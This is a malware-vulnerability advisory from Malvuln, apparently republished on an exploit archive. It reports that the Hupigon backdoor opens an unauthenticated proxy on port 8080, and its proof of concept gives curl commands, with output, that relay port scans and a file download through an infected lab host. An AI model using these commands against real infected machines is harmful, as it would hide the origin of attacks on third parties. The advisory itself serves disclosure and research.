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Backdoor.Win32.Hupigon.asqx Unauthenticated Open Proxy

Backdoor.Win32.Hupigon.asqx Unauthenticated Open Proxy
Posted Sep 21, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Hupigon.asqx malware suffers from an unauthenticated open proxy vulnerability.

tags | exploit
systems | windows
MD5 | 6946d1d2d8ac1b15c59fb140b80485a9

Backdoor.Win32.Hupigon.asqx Unauthenticated Open Proxy

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a344b767d58b6c83b92bb868727e021c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.asqx
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: a344b767d58b6c83b92bb868727e021c
Vuln ID: MVID-2021-0343
Dropped files: win32.exe
Disclosure: 09/20/2021


Exploit/PoC:
Scan Ports)

curl -x http://192.168.18.129:8080 http://192.168.18.128:110 -v
+OK INetSim POP3 Server ready <22935.1631403728@pop3host>
-ERR Unknown command.

curl -x http://192.168.18.129:8080 http://192.168.18.128:21
220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl -x http://192.168.18.129:8080 http://192.168.18.128/DOOM.exe --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
97 101k 97 98k 0 0 98k 0 0:00:01 0:00:01 --:--:-- 95224


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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